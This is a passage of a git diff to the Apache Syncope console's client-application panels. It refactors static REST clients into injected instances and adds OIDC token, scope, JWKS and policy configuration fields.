ActionLink.ActionType.EDIT, AMEntitlement.CLIENTAPP_UPDATE); @@ -134,16 +165,72 @@ public void onClick(final AjaxRequestTarget target, final ClientAppTO ignore) { @Override public void onClick(final AjaxRequestTarget target, final ClientAppTO ignore) { - model.setObject(ClientAppRestClient.read(type, model.getObject().getKey())); + model.setObject(restClient.read(type, model.getObject().getKey())); + modal.setContent(new UsernameAttributeProviderModalPanelBuilder<>( + type, model.getObject(), modal, clientAppRestClient, pageRef). + build(actualId, 1, AjaxWizard.Mode.EDIT)); + modal.header(new Model<>(getString("usernameAttributeProviderConf.title", model))); + modal.show(true); + target.add(modal); + } + }, ActionLink.ActionType.COMPOSE, AMEntitlement.CLIENTAPP_UPDATE); + + panel.add(new ActionLink<>() { + + private static final long serialVersionUID = -3722207913631435501L; + + @Override + public void onClick(final AjaxRequestTarget target, final ClientAppTO ignore) { + model.setObject(restClient.read(type, model.getObject().getKey())); target.add(propertiesModal.setContent(new ModalDirectoryPanel<>( propertiesModal, - new ClientAppPropertiesDirectoryPanel<>("panel", propertiesModal, type, model, pageRef), + new ClientAppPropertiesDirectoryPanel<>( + "panel", restClient, propertiesModal, type, model, pageRef), pageRef))); propertiesModal.header(new Model<>(getString("properties.title", model))); propertiesModal.show(true); } }, ActionLink.ActionType.TYPE_EXTENSIONS, AMEntitlement.CLIENTAPP_UPDATE); + panel.add(new ActionLink<>() { + + private static final long serialVersionUID = -5432034353017728756L; + + @Override + public void onClick(final AjaxRequestTarget target, final ClientAppTO ignore) { + model.setObject(restClient.read(type, model.getObject().getKey())); + + target.add(historyModal.setContent(new AuditHistoryModal<>( + AuditElements.EventCategoryType.LOGIC, + "ClientAppLogic", + model.getObject(), + AMEntitlement.CLIENTAPP_UPDATE, + auditRestClient) { + + private static final long serialVersionUID = -3712506022627033811L; + + @Override + protected void restore(final String json, final AjaxRequestTarget target) { + try { + ClientAppTO updated = MAPPER.readValue(json, ClientAppTO.class); + restClient.update(type, updated); + + SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); + } catch (Exception e) { + LOG.error("While restoring ClientApp {}", ((ClientAppTO) model.getObject()).getKey(), e); + SyncopeConsoleSession.get().onException(e); + } + ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(target); + } + })); + + historyModal.header(new Model<>(getString("auditHistory.title", new Model<>(model.getObject())))); + + historyModal.show(true); + } + }, ActionLink.ActionType.VIEW_AUDIT_HISTORY, String.format("%s,%s", AMEntitlement.CLIENTAPP_READ, + IdRepoEntitlement.AUDIT_LIST)); + panel.add(new ActionLink<>() { private static final long serialVersionUID = -3722207913631435501L; @@ -166,7 +253,8 @@ public void onClick(final AjaxRequestTarget target, final ClientAppTO ignore) { public void onClick(final AjaxRequestTarget target, final ClientAppTO ignore) { T clientAppTO = model.getObject(); try { - ClientAppRestClient.delete(type, clientAppTO.getKey()); + restClient.delete(type, clientAppTO.getKey()); + SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); } catch (SyncopeClientException e) { @@ -210,14 +298,14 @@ protected class ClientAppDataProvider extends DirectoryDataProvider { @Override public Iterator iterator(final long first, final long count) { - List list = ClientAppRestClient.list(type); + List list = restClient.list(type); list.sort(comparator); return list.subList((int) first, (int) first + (int) count).iterator(); } @Override public long size() { - return ClientAppRestClient.list(type).size(); + return restClient.list(type).size(); } @Override diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientAppModalPanelBuilder.java b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientAppModalPanelBuilder.java index bcc20e79cf5..5276ae85b62 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientAppModalPanelBuilder.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientAppModalPanelBuilder.java @@ -18,16 +18,21 @@ */ package org.apache.syncope.client.console.clientapps; +import java.nio.charset.StandardCharsets; import java.util.ArrayList; +import java.util.Base64; import java.util.Comparator; import java.util.Iterator; +import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import java.util.stream.Collectors; import java.util.stream.Stream; +import javax.ws.rs.core.MediaType; import org.apache.commons.lang3.RandomStringUtils; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.console.SyncopeWebApplication; import org.apache.syncope.client.console.commons.RealmsUtils; import org.apache.syncope.client.console.panels.AbstractModalPanel; import org.apache.syncope.client.console.rest.ClientAppRestClient; @@ -35,27 +40,35 @@ import org.apache.syncope.client.console.rest.RealmRestClient; import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; import org.apache.syncope.client.console.wicket.markup.html.form.AjaxSearchFieldPanel; +import org.apache.syncope.client.console.wicket.markup.html.form.BinaryFieldPanel; import org.apache.syncope.client.console.wicket.markup.html.form.MultiFieldPanel; import org.apache.syncope.client.console.wicket.markup.html.form.PolicyRenderer; import org.apache.syncope.client.ui.commons.Constants; import org.apache.syncope.client.ui.commons.ajax.form.IndicatorAjaxFormComponentUpdatingBehavior; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxCheckBoxPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDropDownChoicePanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxNumberFieldPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxPalettePanel; -import org.apache.syncope.client.ui.commons.markup.html.form.AjaxSpinnerFieldPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; import org.apache.syncope.client.ui.commons.pages.BaseWebPage; import org.apache.syncope.client.ui.commons.panels.WizardModalPanel; import org.apache.syncope.client.ui.commons.wizards.AbstractModalPanelBuilder; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; -import org.apache.syncope.common.lib.SyncopeConstants; +import org.apache.syncope.common.lib.OIDCScopeConstants; import org.apache.syncope.common.lib.policy.PolicyTO; import org.apache.syncope.common.lib.to.ClientAppTO; +import org.apache.syncope.common.lib.to.OIDCRPClientAppTO; import org.apache.syncope.common.lib.to.RealmTO; import org.apache.syncope.common.lib.types.ClientAppType; +import org.apache.syncope.common.lib.types.LogoutType; +import org.apache.syncope.common.lib.types.OIDCApplicationType; +import org.apache.syncope.common.lib.types.OIDCClientAuthenticationMethod; import org.apache.syncope.common.lib.types.OIDCGrantType; import org.apache.syncope.common.lib.types.OIDCResponseType; import org.apache.syncope.common.lib.types.OIDCSubjectType; +import org.apache.syncope.common.lib.types.OIDCTokenEncryptionAlg; +import org.apache.syncope.common.lib.types.OIDCTokenEncryptionEncoding; +import org.apache.syncope.common.lib.types.OIDCTokenSigningAlg; import org.apache.syncope.common.lib.types.PolicyType; import org.apache.syncope.common.lib.types.SAML2SPNameId; import org.apache.syncope.common.lib.types.XmlSecAlgorithm; @@ -77,49 +90,75 @@ public class ClientAppModalPanelBuilder extends AbstractM private static final long serialVersionUID = 5945391813567245081L; - private final IModel> accessPolicies = new LoadableDetachableModel<>() { + protected final IModel> accessPolicies = new LoadableDetachableModel<>() { private static final long serialVersionUID = -2012833443695917883L; @Override protected Map load() { - return PolicyRestClient.list(PolicyType.ACCESS).stream(). - collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName)); + return policyRestClient.list(PolicyType.ACCESS).stream(). + collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName, (v1, v2) -> v1, LinkedHashMap::new)); } }; - private final IModel> attrReleasePolicies = new LoadableDetachableModel<>() { + protected final IModel> attrReleasePolicies = new LoadableDetachableModel<>() { private static final long serialVersionUID = -2012833443695917883L; @Override protected Map load() { - return PolicyRestClient.list(PolicyType.ATTR_RELEASE).stream(). - collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName)); + return policyRestClient.list(PolicyType.ATTR_RELEASE).stream(). + collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName, (v1, v2) -> v1, LinkedHashMap::new)); } }; - private final IModel> authPolicies = new LoadableDetachableModel<>() { + protected final IModel> authPolicies = new LoadableDetachableModel<>() { private static final long serialVersionUID = -2012833443695917883L; @Override protected Map load() { - return PolicyRestClient.list(PolicyType.AUTH).stream(). - collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName)); + return policyRestClient.list(PolicyType.AUTH).stream(). + collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName, (v1, v2) -> v1, LinkedHashMap::new)); } }; - private final BaseModal modal; + protected final IModel> ticketExpirationPolicies = new LoadableDetachableModel<>() { - private final ClientAppType type; + private static final long serialVersionUID = -2012833443695917883L; + + @Override + protected Map load() { + return policyRestClient.list(PolicyType.TICKET_EXPIRATION).stream(). + collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName, (v1, v2) -> v1, LinkedHashMap::new)); + } + }; + + protected final BaseModal modal; + + protected final ClientAppType type; + + protected final PolicyRestClient policyRestClient; + + protected final ClientAppRestClient clientAppRestClient; + + protected final RealmRestClient realmRestClient; public ClientAppModalPanelBuilder( - final ClientAppType type, final T defaultItem, final BaseModal modal, final PageReference pageRef) { + final ClientAppType type, + final T defaultItem, + final BaseModal modal, + final PolicyRestClient policyRestClient, + final ClientAppRestClient clientAppRestClient, + final RealmRestClient realmRestClient, + final PageReference pageRef) { super(defaultItem, pageRef); this.type = type; this.modal = modal; + this.policyRestClient = policyRestClient; + this.clientAppRestClient = clientAppRestClient; + this.realmRestClient = realmRestClient; } @Override @@ -141,10 +180,10 @@ private class Profile extends AbstractModalPanel { List fields = new ArrayList<>(); - boolean isSearchEnabled = RealmsUtils.isSearchEnabled(); + boolean fullRealmsTree = SyncopeWebApplication.get().fullRealmsTree(realmRestClient); AutoCompleteSettings settings = new AutoCompleteSettings(); - settings.setShowCompleteListOnFocusGain(!isSearchEnabled); - settings.setShowListOnEmptyInput(!isSearchEnabled); + settings.setShowCompleteListOnFocusGain(fullRealmsTree); + settings.setShowListOnEmptyInput(fullRealmsTree); AjaxSearchFieldPanel realm = new AjaxSearchFieldPanel( "field", "realm", new PropertyModel<>(clientAppTO, "realm"), settings) { @@ -152,11 +191,9 @@ private class Profile extends AbstractModalPanel { @Override protected Iterator getChoices(final String input) { - return (isSearchEnabled - ? RealmRestClient.search(RealmsUtils.buildQuery(input)).getResult() - : RealmRestClient.list(SyncopeConstants.ROOT_REALM)). - stream().filter(realm -> SyncopeConsoleSession.get().getAuthRealms().stream(). - anyMatch(authRealm -> realm.getFullPath().startsWith(authRealm))). + return realmRestClient.search(fullRealmsTree + ? RealmsUtils.buildBaseQuery() + : RealmsUtils.buildKeywordQuery(input)).getResult().stream(). map(RealmTO::getFullPath).collect(Collectors.toList()).iterator(); } }; @@ -168,41 +205,74 @@ protected Iterator getChoices(final String input) { fields.add(name.setRequired(true)); if (clientAppTO.getClientAppId() == null) { - Stream.of(ClientAppType.values()).map(ClientAppRestClient::list).flatMap(List::stream). + Stream.of(ClientAppType.values()).map(clientAppRestClient::list).flatMap(List::stream). max(Comparator.comparing(ClientAppTO::getClientAppId)). ifPresent(app -> clientAppTO.setClientAppId(app.getClientAppId() + 1)); } - fields.add(new AjaxSpinnerFieldPanel.Builder().build( + fields.add(new AjaxNumberFieldPanel.Builder().build( "field", "clientAppId", Long.class, new PropertyModel<>(clientAppTO, "clientAppId")).setRequired(true)); + fields.add(new AjaxNumberFieldPanel.Builder().build( + "field", "evaluationOrder", Integer.class, + new PropertyModel<>(clientAppTO, "evaluationOrder")).setRequired(true)); + fields.add(new AjaxTextFieldPanel( "field", Constants.DESCRIPTION_FIELD_NAME, new PropertyModel<>(clientAppTO, Constants.DESCRIPTION_FIELD_NAME), false)); + fields.add(new AjaxTextFieldPanel( + "field", "logo", + new PropertyModel<>(clientAppTO, "logo"), false)); + + fields.add(new AjaxTextFieldPanel( + "field", "theme", + new PropertyModel<>(clientAppTO, "theme"), false)); + + AjaxTextFieldPanel informationUrl = new AjaxTextFieldPanel( + "field", "informationUrl", + new PropertyModel<>(clientAppTO, "informationUrl"), false); + informationUrl.addValidator(new UrlValidator()); + fields.add(informationUrl); + + AjaxTextFieldPanel privacyUrl = new AjaxTextFieldPanel( + "field", "privacyUrl", + new PropertyModel<>(clientAppTO, "privacyUrl"), false); + privacyUrl.addValidator(new UrlValidator()); + fields.add(privacyUrl); + AjaxDropDownChoicePanel accessPolicy = new AjaxDropDownChoicePanel<>( "field", "accessPolicy", new PropertyModel<>(clientAppTO, "accessPolicy"), false); - accessPolicy.setChoiceRenderer(new PolicyRenderer(accessPolicies)); + accessPolicy.setChoiceRenderer(new PolicyRenderer(accessPolicies.getObject())); accessPolicy.setChoices(new ArrayList<>(accessPolicies.getObject().keySet())); ((AbstractSingleSelectChoice) accessPolicy.getField()).setNullValid(true); fields.add(accessPolicy); AjaxDropDownChoicePanel attrReleasePolicy = new AjaxDropDownChoicePanel<>( "field", "attrReleasePolicy", new PropertyModel<>(clientAppTO, "attrReleasePolicy"), false); - attrReleasePolicy.setChoiceRenderer(new PolicyRenderer(attrReleasePolicies)); + attrReleasePolicy.setChoiceRenderer(new PolicyRenderer(attrReleasePolicies.getObject())); attrReleasePolicy.setChoices(new ArrayList<>(attrReleasePolicies.getObject().keySet())); ((AbstractSingleSelectChoice) attrReleasePolicy.getField()).setNullValid(true); fields.add(attrReleasePolicy); AjaxDropDownChoicePanel authPolicy = new AjaxDropDownChoicePanel<>( "field", "authPolicy", new PropertyModel<>(clientAppTO, "authPolicy"), false); - authPolicy.setChoiceRenderer(new PolicyRenderer(authPolicies)); + authPolicy.setChoiceRenderer(new PolicyRenderer(authPolicies.getObject())); authPolicy.setChoices(new ArrayList<>(authPolicies.getObject().keySet())); - authPolicy.setRequired(true); - ((AbstractSingleSelectChoice) authPolicy.getField()).setNullValid(true); fields.add(authPolicy); - fields.add(new AjaxTextFieldPanel("field", "theme", new PropertyModel<>(clientAppTO, "theme"), false)); + AjaxDropDownChoicePanel ticketExpirationPolicy = new AjaxDropDownChoicePanel<>( + "field", "ticketExpirationPolicy", + new PropertyModel<>(clientAppTO, "ticketExpirationPolicy"), false); + ticketExpirationPolicy.setChoiceRenderer(new PolicyRenderer(ticketExpirationPolicies.getObject())); + ticketExpirationPolicy.setChoices(new ArrayList<>(ticketExpirationPolicies.getObject().keySet())); + ((AbstractSingleSelectChoice) ticketExpirationPolicy.getField()).setNullValid(true); + fields.add(ticketExpirationPolicy); + + AjaxDropDownChoicePanel logoutType = new AjaxDropDownChoicePanel<>( + "field", "logoutType", new PropertyModel<>(clientAppTO, "logoutType"), false); + logoutType.setChoices(List.of(LogoutType.values())); + fields.add(logoutType.setRequired(true)); switch (type) { case CASSP: @@ -230,24 +300,82 @@ protected void onUpdate(final AjaxRequestTarget target) { AjaxTextFieldPanel clientSecret = new AjaxTextFieldPanel( "field", "clientSecret", new PropertyModel<>(clientAppTO, "clientSecret"), false); - clientSecret.setChoices(List.of(RandomStringUtils.randomAlphanumeric(15))); + clientSecret.setChoices(List.of(RandomStringUtils.secure().nextNumeric(15))); fields.add(clientSecret.setRequired(true)); + AjaxTextFieldPanel idTokenIssuer = new AjaxTextFieldPanel( + "field", "idTokenIssuer", new PropertyModel<>(clientAppTO, "idTokenIssuer"), false); + fields.add(idTokenIssuer); + + AjaxCheckBoxPanel signIdToken = new AjaxCheckBoxPanel( + "field", "signIdToken", new PropertyModel<>(clientAppTO, "signIdToken")); + fields.add(signIdToken); + AjaxDropDownChoicePanel idTokenSigningAlg = new AjaxDropDownChoicePanel<>( + "field", "idTokenSigningAlg", new PropertyModel<>(clientAppTO, "idTokenSigningAlg"), false); + idTokenSigningAlg.setChoices(List.of(OIDCTokenSigningAlg.values())); + fields.add(idTokenSigningAlg.addRequiredLabel()); + fields.add(new AjaxCheckBoxPanel( - "field", "signIdToken", new PropertyModel<>(clientAppTO, "signIdToken"))); + "field", "encryptIdToken", new PropertyModel<>(clientAppTO, "encryptIdToken"))); + AjaxDropDownChoicePanel idTokenEncryptionAlg = + new AjaxDropDownChoicePanel<>( + "field", + "idTokenEncryptionAlg", + new PropertyModel<>(clientAppTO, "idTokenEncryptionAlg"), + false); + idTokenEncryptionAlg.setChoices(List.of(OIDCTokenEncryptionAlg.values())); + fields.add(idTokenEncryptionAlg.addRequiredLabel()); + AjaxDropDownChoicePanel idTokenEncryptionEncoding = + new AjaxDropDownChoicePanel<>( + "field", + "idTokenEncryptionEncoding", + new PropertyModel<>(clientAppTO, "idTokenEncryptionEncoding"), + false); + idTokenEncryptionEncoding.setChoices(List.of(OIDCTokenEncryptionEncoding.values())); + fields.add(idTokenEncryptionEncoding); + + AjaxDropDownChoicePanel userInfoSigningAlg = new AjaxDropDownChoicePanel<>( + "field", + "userInfoSigningAlg", + new PropertyModel<>(clientAppTO, "userInfoSigningAlg"), + false); + userInfoSigningAlg.setChoices(List.of(OIDCTokenSigningAlg.values())); + fields.add(userInfoSigningAlg); + AjaxDropDownChoicePanel userInfoEncryptedResponseAlg = + new AjaxDropDownChoicePanel<>( + "field", + "userInfoEncryptedResponseAlg", + new PropertyModel<>(clientAppTO, "userInfoEncryptedResponseAlg"), + false); + userInfoEncryptedResponseAlg.setChoices(List.of(OIDCTokenEncryptionAlg.values())); + fields.add(userInfoEncryptedResponseAlg); + AjaxDropDownChoicePanel userInfoEncryptedResponseEncoding = + new AjaxDropDownChoicePanel<>( + "field", + "userInfoEncryptedResponseEncoding", + new PropertyModel<>(clientAppTO, "userInfoEncryptedResponseEncoding"), + false); + userInfoEncryptedResponseEncoding.setChoices(List.of(OIDCTokenEncryptionEncoding.values())); + fields.add(userInfoEncryptedResponseEncoding); + fields.add(new AjaxCheckBoxPanel( "field", "jwtAccessToken", new PropertyModel<>(clientAppTO, "jwtAccessToken"))); fields.add(new AjaxCheckBoxPanel( "field", "bypassApprovalPrompt", new PropertyModel<>(clientAppTO, "bypassApprovalPrompt"))); + fields.add(new AjaxCheckBoxPanel( + "field", "generateRefreshToken", new PropertyModel<>(clientAppTO, "generateRefreshToken"))); AjaxDropDownChoicePanel subjectType = new AjaxDropDownChoicePanel<>( "field", "subjectType", new PropertyModel<>(clientAppTO, "subjectType"), false); subjectType.setChoices(List.of(OIDCSubjectType.values())); - subjectType.addRequiredLabel().setEnabled(true); - fields.add(subjectType); + fields.add(subjectType.addRequiredLabel().setEnabled(true)); + + AjaxDropDownChoicePanel applicationType = new AjaxDropDownChoicePanel<>( + "field", "applicationType", new PropertyModel<>(clientAppTO, "applicationType"), false); + applicationType.setChoices(List.of(OIDCApplicationType.values())); + fields.add(applicationType.addRequiredLabel().setEnabled(true)); AjaxTextFieldPanel redirectUri = new AjaxTextFieldPanel("panel", "redirectUris", new Model<>()); - redirectUri.addValidator(new UrlValidator()); fields.add(new MultiFieldPanel.Builder( new PropertyModel<>(clientAppTO, "redirectUris")).build( "field", @@ -264,16 +392,81 @@ protected void onUpdate(final AjaxRequestTarget target) { new PropertyModel<>(clientAppTO, "supportedResponseTypes"), new ListModel<>(List.of(OIDCResponseType.values())))); + AutoCompleteSettings scopesSettings = new AutoCompleteSettings(); + scopesSettings.setShowCompleteListOnFocusGain(true); + scopesSettings.setShowListOnEmptyInput(true); + AjaxSearchFieldPanel scopes = new AjaxSearchFieldPanel( + "panel", "scopes", new PropertyModel<>(clientAppTO, "scopes"), scopesSettings) { + + private static final long serialVersionUID = 7160878678968866138L; + + @Override + protected Iterator getChoices(final String input) { + List choices = new ArrayList<>(OIDCScopeConstants.ALL_STANDARD_SCOPES); + choices.add(OIDCScopeConstants.SYNCOPE); + return choices.iterator(); + } + }; + fields.add(new MultiFieldPanel.Builder( + new PropertyModel<>(clientAppTO, "scopes")).build( + "field", + "scopes", + scopes)); + AjaxTextFieldPanel logoutUri = new AjaxTextFieldPanel( "field", "logoutUri", new PropertyModel<>(clientAppTO, "logoutUri"), false); logoutUri.addValidator(new UrlValidator()); fields.add(logoutUri); + + BinaryFieldPanel jwks = new BinaryFieldPanel( + "field", + "jwks", + new Model<>() { + + private static final long serialVersionUID = 7666049400663637482L; + + @Override + public String getObject() { + OIDCRPClientAppTO oidcRPCA = (OIDCRPClientAppTO) clientAppTO; + return StringUtils.isBlank(oidcRPCA.getJwks()) + ? null + : Base64.getEncoder().encodeToString( + oidcRPCA.getJwks().getBytes(StandardCharsets.UTF_8)); + } + + @Override + public void setObject(final String object) { + OIDCRPClientAppTO oidcRPCA = (OIDCRPClientAppTO) clientAppTO; + if (StringUtils.isBlank(object)) { + oidcRPCA.setJwks(null); + } else { + oidcRPCA.setJwks( + new String(Base64.getDecoder().decode(object), StandardCharsets.UTF_8)); + } + } + }, + MediaType.APPLICATION_JSON, + "client-jwks"); + fields.add(jwks); + + AjaxTextFieldPanel jwksUri = new AjaxTextFieldPanel( + "field", "jwksUri", new PropertyModel<>(clientAppTO, "jwksUri"), false); + jwksUri.addValidator(new UrlValidator()); + fields.add(jwksUri); + + AjaxDropDownChoicePanel tokenEndpointAuthenticationMethod = + new AjaxDropDownChoicePanel<>( + "field", + "tokenEndpointAuthenticationMethod", + new PropertyModel<>(clientAppTO, "tokenEndpointAuthenticationMethod"), + false); + tokenEndpointAuthenticationMethod.setChoices(List.of(OIDCClientAuthenticationMethod.values())); + fields.add(tokenEndpointAuthenticationMethod); break; case SAML2SP: AjaxTextFieldPanel entityId = new AjaxTextFieldPanel( "field", "entityId", new PropertyModel<>(clientAppTO, "entityId"), false); - entityId.addValidator(new UrlValidator()); fields.add(entityId.setRequired(true)); fields.add(new AjaxTextFieldPanel("field", "metadataLocation", @@ -306,7 +499,7 @@ protected void onUpdate(final AjaxRequestTarget target) { requiredNameIdFormat.addRequiredLabel().setEnabled(true); fields.add(requiredNameIdFormat); - fields.add(new AjaxSpinnerFieldPanel.Builder().min(0).build( + fields.add(new AjaxNumberFieldPanel.Builder().min(0).build( "field", "skewAllowance", Integer.class, new PropertyModel<>(clientAppTO, "skewAllowance"))); @@ -381,9 +574,9 @@ protected void populateItem(final ListItem item) { public void onSubmit(final AjaxRequestTarget target) { try { if (clientAppTO.getKey() == null) { - ClientAppRestClient.create(type, clientAppTO); + clientAppRestClient.create(type, clientAppTO); } else { - ClientAppRestClient.update(type, clientAppTO); + clientAppRestClient.update(type, clientAppTO); } SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); Profile.this.modal.close(target); diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientAppPropertiesDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientAppPropertiesDirectoryPanel.java index 08eafb66a53..89f6dea74f8 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientAppPropertiesDirectoryPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientAppPropertiesDirectoryPanel.java @@ -42,22 +42,23 @@ public class ClientAppPropertiesDirectoryPanel extends AttrListDirectoryPanel { - private static final long serialVersionUID = 1L; + private static final long serialVersionUID = 9072805604972532678L; - private final BaseModal propertiesModal; + protected final BaseModal propertiesModal; - private final ClientAppType type; + protected final ClientAppType type; - private final IModel model; + protected final IModel model; public ClientAppPropertiesDirectoryPanel( final String id, + final ClientAppRestClient restClient, final BaseModal propertiesModal, final ClientAppType type, final IModel model, final PageReference pageRef) { - super(id, pageRef, false); + super(id, restClient, pageRef, false); this.propertiesModal = propertiesModal; this.type = type; @@ -68,7 +69,8 @@ public ClientAppPropertiesDirectoryPanel( enableUtilityButton(); setFooterVisibility(false); - addNewItemPanelBuilder(new ClientAppPropertyWizardBuilder(type, model.getObject(), new Attr(), pageRef), true); + addNewItemPanelBuilder(new ClientAppPropertyWizardBuilder( + type, model.getObject(), new Attr(), restClient, pageRef), true); initResultTable(); } @@ -107,7 +109,7 @@ protected ActionsPanel getActions(final IModel model) { @Override public void onClick(final AjaxRequestTarget target, final Attr ignore) { send(ClientAppPropertiesDirectoryPanel.this, Broadcast.EXACT, - new AjaxWizard.EditItemActionEvent<>(model.getObject(), target)); + new AjaxWizard.EditItemActionEvent<>(model.getObject(), target)); } }, ActionLink.ActionType.EDIT, AMEntitlement.CLIENTAPP_UPDATE); @@ -119,7 +121,8 @@ public void onClick(final AjaxRequestTarget target, final Attr ignore) { public void onClick(final AjaxRequestTarget target, final Attr ignore) { try { ClientAppPropertiesDirectoryPanel.this.model.getObject().getProperties().remove(model.getObject()); - ClientAppRestClient.update(type, ClientAppPropertiesDirectoryPanel.this.model.getObject()); + ((ClientAppRestClient) restClient).update( + type, ClientAppPropertiesDirectoryPanel.this.model.getObject()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientAppPropertyWizardBuilder.java b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientAppPropertyWizardBuilder.java index c73b9a4be0c..0b717747bce 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientAppPropertyWizardBuilder.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientAppPropertyWizardBuilder.java @@ -28,21 +28,25 @@ public class ClientAppPropertyWizardBuilder extends AttrWizardBuilder { - private static final long serialVersionUID = 1L; + private static final long serialVersionUID = -91564005263775261L; - private final ClientAppType type; + protected final ClientAppType type; - private final ClientAppTO clientApp; + protected final ClientAppTO clientApp; + + protected final ClientAppRestClient clientAppRestClient; public ClientAppPropertyWizardBuilder( final ClientAppType type, final ClientAppTO clientApp, final Attr attr, + final ClientAppRestClient clientAppRestClient, final PageReference pageRef) { super(attr, pageRef); this.type = type; this.clientApp = clientApp; + this.clientAppRestClient = clientAppRestClient; } @Override @@ -50,7 +54,7 @@ protected Serializable onApplyInternal(final Attr modelObject) { clientApp.getProperties().removeIf(p -> modelObject.getSchema().equals(p.getSchema())); clientApp.getProperties().add(modelObject); - ClientAppRestClient.update(type, clientApp); + clientAppRestClient.update(type, clientApp); return null; } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientApps.java b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientApps.java index 8a694736036..851f808a0fa 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientApps.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientApps.java @@ -21,16 +21,21 @@ import de.agilecoders.wicket.core.markup.html.bootstrap.tabs.AjaxBootstrapTabbedPanel; import java.util.ArrayList; import java.util.List; +import org.apache.syncope.client.console.rest.ClientAppRestClient; import org.apache.syncope.common.lib.types.ClientAppType; import org.apache.wicket.PageReference; import org.apache.wicket.extensions.markup.html.tabs.AbstractTab; import org.apache.wicket.extensions.markup.html.tabs.ITab; import org.apache.wicket.markup.html.panel.Panel; import org.apache.wicket.model.Model; +import org.apache.wicket.spring.injection.annot.SpringBean; public class ClientApps extends Panel { - private static final long serialVersionUID = 1L; + private static final long serialVersionUID = 5755172996408318813L; + + @SpringBean + protected ClientAppRestClient clientAppRestClient; public ClientApps(final String id, final PageReference pageRef) { super(id); @@ -38,7 +43,7 @@ public ClientApps(final String id, final PageReference pageRef) { add(new AjaxBootstrapTabbedPanel<>("clientApps", buildTabList(pageRef))); } - private List buildTabList(final PageReference pageRef) { + protected List buildTabList(final PageReference pageRef) { List tabs = new ArrayList<>(3); tabs.add(new AbstractTab(Model.of(ClientAppType.CASSP.name())) { @@ -47,7 +52,7 @@ private List buildTabList(final PageReference pageRef) { @Override public Panel getPanel(final String panelId) { - return new CASSPDirectoryPanel(panelId, pageRef); + return new CASSPDirectoryPanel(panelId, clientAppRestClient, pageRef); } }); @@ -57,7 +62,7 @@ public Panel getPanel(final String panelId) { @Override public Panel getPanel(final String panelId) { - return new SAML2SPDirectoryPanel(panelId, pageRef); + return new SAML2SPDirectoryPanel(panelId, clientAppRestClient, pageRef); } }); @@ -67,7 +72,7 @@ public Panel getPanel(final String panelId) { @Override public Panel getPanel(final String panelId) { - return new OIDCRPDirectoryPanel(panelId, pageRef); + return new OIDCRPDirectoryPanel(panelId, clientAppRestClient, pageRef); } }); diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/OIDCRPDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/OIDCRPDirectoryPanel.java index 92387b60959..14c20ddfb89 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/OIDCRPDirectoryPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/OIDCRPDirectoryPanel.java @@ -20,6 +20,7 @@ import java.util.List; import org.apache.commons.lang3.StringUtils; +import org.apache.syncope.client.console.rest.ClientAppRestClient; import org.apache.syncope.client.console.wicket.extensions.markup.html.repeater.data.table.BooleanConditionColumn; import org.apache.syncope.common.lib.to.OIDCRPClientAppTO; import org.apache.syncope.common.lib.types.AMEntitlement; @@ -35,13 +36,20 @@ public class OIDCRPDirectoryPanel extends ClientAppDirectoryPanel(ClientAppType.OIDCRP, defaultItem, modal, pageRef), true); + addNewItemPanelBuilder(new ClientAppModalPanelBuilder<>( + ClientAppType.OIDCRP, + defaultItem, + modal, + policyRestClient, + clientAppRestClient, + realmRestClient, + pageRef), + true); MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, AMEntitlement.CLIENTAPP_CREATE); initResultTable(); diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/SAML2SPDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/SAML2SPDirectoryPanel.java index b14106d920b..6b2b2be34f0 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/SAML2SPDirectoryPanel.java +++ 